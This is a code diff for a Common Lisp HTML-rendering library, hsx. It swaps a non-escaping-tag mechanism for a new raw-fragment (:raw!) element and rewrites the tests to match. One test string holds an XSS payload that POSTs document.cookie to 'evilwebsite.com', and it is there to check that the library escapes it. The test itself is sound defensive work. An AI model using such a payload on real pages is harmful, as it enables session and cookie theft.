Add raw-fragment

src/builtin.lisp

@@ -20,4 +20,5 @@
   noscript object ol optgroup option output p param picture pre progress
   q rp rt ruby s samp script section select small source span strong
   style sub summary sup svg table tbody td template textarea tfoot th
-  thead |time| title tr track u ul var video wbr <>)
+  thead |time| title tr track u ul var video wbr
+  <> raw!)

src/element.lisp

@@ -3,15 +3,14 @@
   (:import-from #:str
                 #:collapse-whitespaces)
   (:import-from #:hsx/utils
-                #:defgroup
+                #:escape-html-text-content
-                #:escape-html-attribute
+                #:escape-html-attribute)
-                #:escape-html-text-content)
   (:export #:element
            #:tag
            #:html-tag
            #:self-closing-tag
-           #:non-escaping-tag
            #:fragment
+           #:raw-fragment
            #:component
            #:create-element
            #:element-type
@@ -23,12 +22,10 @@
 
 ;;; tag group definitions
 
-(defgroup self-closing-tag
+(deftype self-closing-tag-sym ()
-  area base br col embed hr img input
+  '(member
-  link meta param source track wbr)
+    :area :base :br :col :embed :hr :img :input
-
+    :link :meta :param :source :track :wbr))
-(defgroup non-escaping-tag
-  script style)
 
 ;;;; class definitions
 
@@ -49,10 +46,10 @@
 
 (defclass self-closing-tag (tag) ())
 
-(defclass non-escaping-tag (tag) ())
-
 (defclass fragment (tag) ())
 
+(defclass raw-fragment (fragment) ())
+
 (defclass component (element) ())
 
 ;;;; factory
@@ -61,9 +58,9 @@
   (make-instance
    (cond ((functionp type) 'component)
          ((eq type :<>) 'fragment)
+         ((eq type :raw!) 'raw-fragment)
          ((eq type :html) 'html-tag)
-         ((self-closing-tag-p type) 'self-closing-tag)
+         ((typep type 'self-closing-tag-sym) 'self-closing-tag)
-         ((non-escaping-tag-p type) 'non-escaping-tag)
          ((keywordp type) 'tag)
          (t (error "element-type must be a keyword or a function.")))
    :type type
@@ -95,7 +92,7 @@
     (if children
         (format stream
                 (if (or (rest children)
-                        (typep (first children) 'element))
+                        (typep (first children) '(and element (not fragment))))
                     "~@<<~a~a>~2I~:@_~<~@{~a~^~:@_~}~:>~0I~:@_</~a>~:>"
                     "~@<<~a~a>~2I~:_~<~a~^~:@_~:>~0I~_</~a>~:>")
                 type
@@ -148,7 +145,7 @@
                 child))
           (element-children element)))
 
-(defmethod render-children ((element non-escaping-tag))
+(defmethod render-children ((element raw-fragment))
   (element-children element))
 
 (defmethod expand-component ((element component))

src/utils.lisp

@@ -5,8 +5,7 @@
                 #:make-keyword
                 #:symbolicate)
   (:export #:escape-html-attribute
-           #:escape-html-text-content
+           #:escape-html-text-content))
-           #:defgroup))
 (in-package #:hsx/utils)
 
 (defparameter *text-content-escape-map*
@@ -41,18 +40,3 @@
 
 (defun escape-html-attribute (str)
   (escape-string str *attribute-escape-map*))
-
-(defun make-keyword-hash-table (symbols)
-  (let ((ht (make-hash-table)))
-    (mapcar (lambda (sym)
-              (setf (gethash (make-keyword sym) ht) t))
-            symbols)
-    ht))
-
-(defmacro defgroup (name &body symbols)
-  (let ((param-name (symbolicate '* name '*))
-        (pred-name (symbolicate name '-p)))
-    `(progn
-       (defparameter ,param-name (make-keyword-hash-table ',symbols))
-       (defun ,pred-name (keyword)
-         (gethash keyword ,param-name)))))

tests/element.lisp

@@ -15,7 +15,6 @@
     (ok (typep (create-element :div nil nil) 'tag))
     (ok (typep (create-element :html nil nil) 'html-tag))
     (ok (typep (create-element :img nil nil) 'self-closing-tag))
-    (ok (typep (create-element :style nil nil) 'non-escaping-tag))
     (ok (typep (create-element :<> nil nil) 'fragment))
     (ok (typep (create-element (lambda ()) nil nil) 'component))
     (ok (signals (create-element "div" nil nil))))
@@ -96,21 +95,6 @@
                                                    (list :src "/background.png")
                                                    nil)
                                    :pretty t))))
-  
-  (testing "escaping-tag"
-    (ok (string= "<div>&lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;</div>"
-                 (render-to-string
-                  (create-element :div
-                                  nil
-                                  (list "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"))))))
-  
-  (testing "non-escaping-tag"
-    (ok (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>"
-                 (render-to-string
-                  (create-element :script
-                                  nil
-                                  "alert('<< Do not embed user-generated contents here! >>')")))))
-  
   (testing "fragment"
     (let ((frg (create-element :<>
                                nil
@@ -140,6 +124,21 @@
                                                                            (list "brah"))))
                                      :pretty t)))))
 
+  
+  (testing "raw-fragment"
+    (ok (string= "<div>&lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;</div>"
+                 (render-to-string
+                  (create-element :div
+                                  nil
+                                  (list "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>")))))
+    (ok (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>"
+                 (render-to-string
+                  (create-element :script
+                                  nil
+                                  (create-element :raw!
+                                                  nil
+                                                  "alert('<< Do not embed user-generated contents here! >>')"))))))
+  
   (testing "minify-props-text"
     (let ((elm (create-element :div
                                '(:x-data "{

tests/utils.lisp

@@ -12,19 +12,3 @@
   (testing "escape-html-text-content"
     (ok (string= "&<>"'/`="
                  (escape-html-text-content "&<>\"'/`=")))))
-
-(defgroup fruit
-  apple banana)
-
-(deftest group-util-test
-  (testing "defgroup"
-    (ok (expands '(defgroup fruit apple banana)
-                 '(progn
-                   (defparameter *fruit*
-                     (hsx/utils::make-keyword-hash-table '(apple banana)))
-                   (defun fruit-p (keyword)
-                     (gethash keyword *fruit*)))))
-    (ok (hash-table-p *fruit*))
-    (ok (fboundp 'fruit-p))
-    (ok (fruit-p :apple))
-    (ng (fruit-p :tomato))))